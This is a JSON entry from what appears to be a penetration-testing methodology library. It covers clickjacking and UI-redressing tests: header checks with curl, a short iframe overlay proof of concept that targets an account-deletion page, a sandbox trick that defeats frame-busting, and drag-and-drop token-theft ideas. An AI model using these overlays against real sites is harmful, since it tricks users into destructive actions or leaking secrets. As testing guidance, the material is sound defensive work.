{
  "slug": "clickjacking-testing",
  "title": "Clickjacking & UI Redressing",
  "phase": "Exploitation",
  "description": "Test whether sensitive, state-changing actions can be framed and hijacked through UI redressing due to missing X-Frame-Options or CSP frame-ancestors protections.",
  "difficulty": "low",
  "tags": [
    "exploitation",
    "clickjacking",
    "ui-redressing",
    "x-frame-options",
    "csp"
  ],
  "tools": [
    "burpsuite",
    "browser",
    "curl"
  ],
  "steps": [
    {
      "id": "clickjacking-01",
      "title": "Check for missing framing protections",
      "description": "Inspect response headers for X-Frame-Options and Content-Security-Policy frame-ancestors on sensitive pages.",
      "commands": [
        "curl -sI https://target.com/account/settings | grep -iE '(x-frame-options|content-security-policy)'",
        "curl -sI https://target.com/ | grep -i 'content-security-policy'"
      ],
      "notes": "X-Frame-Options ALLOW-FROM is deprecated and ignored by modern browsers. Only frame-ancestors in CSP is reliably enforced, so a page relying solely on ALLOW-FROM is effectively unprotected."
    },
    {
      "id": "clickjacking-02",
      "title": "Build a proof-of-concept iframe overlay",
      "description": "Create an attacker-controlled HTML page that frames the target and overlays a decoy UI to lure the victim into clicking hidden controls.",
      "commands": [
        "python3 -m http.server 8000",
        "# poc.html: <style>iframe{opacity:0.1;position:absolute;top:0;left:0;width:1000px;height:800px;z-index:2}#decoy{position:absolute;z-index:1}</style><div id=decoy>Click me to win</div><iframe src=\"https://target.com/account/delete\"></iframe>"
      ],
      "notes": "Set iframe opacity to a low value while positioning your decoy button precisely under the target control. Drop opacity to 0 only for the final report screenshot so triage can see the alignment."
    },
    {
      "id": "clickjacking-03",
      "title": "Test frame-busting bypasses",
      "description": "If the target uses JavaScript frame-busting instead of headers, attempt to neutralise it with sandbox attributes or other bypasses.",
      "commands": [
        "# sandbox without allow-top-navigation blocks frame-busting scripts",
        "# <iframe src=\"https://target.com/\" sandbox=\"allow-forms allow-scripts allow-same-origin\"></iframe>",
        "# Also test onbeforeunload prompt suppression and 204 no-content navigation"
      ],
      "notes": "JavaScript frame-busting is not a real defence. The sandbox attribute can strip top-navigation while still allowing forms and scripts, so treat any header-less page as framable regardless of client-side busting."
    },
    {
      "id": "clickjacking-04",
      "title": "Target sensitive state-changing actions",
      "description": "Prove impact by framing an action that changes account state or moves value, not a static informational page.",
      "commands": [
        "curl -sI https://target.com/account/delete | grep -iE '(x-frame-options|content-security-policy)'",
        "curl -sI https://target.com/account/email/change | grep -iE '(x-frame-options|content-security-policy)'"
      ],
      "notes": "Impact requires a sensitive action such as account deletion, email change, or fund transfer to be framed. A framed static page with no state change is almost never a valid finding, so always tie the PoC to a concrete security consequence."
    },
    {
      "id": "clickjacking-05",
      "title": "Explore advanced UI-redressing techniques",
      "description": "Chain multiple frames or use drag-and-drop and cursorjacking to defeat single-click confirmations and extract data.",
      "commands": [
        "# Multi-step: sequence framed clicks across a confirmation flow",
        "# Drag-and-drop: trick the victim into dragging a token into an attacker input",
        "# Cursorjacking: use CSS to display a fake cursor offset from the real one"
      ],
      "notes": "Multi-step clickjacking can defeat confirm dialogs by framing each successive click. Drag-and-drop attacks can exfiltrate CSRF tokens or secrets rendered on the page, which raises severity well above a simple single-click action."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/clickjacking",
    "https://owasp.org/www-community/attacks/Clickjacking",
    "https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html",
    "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-07-05"
}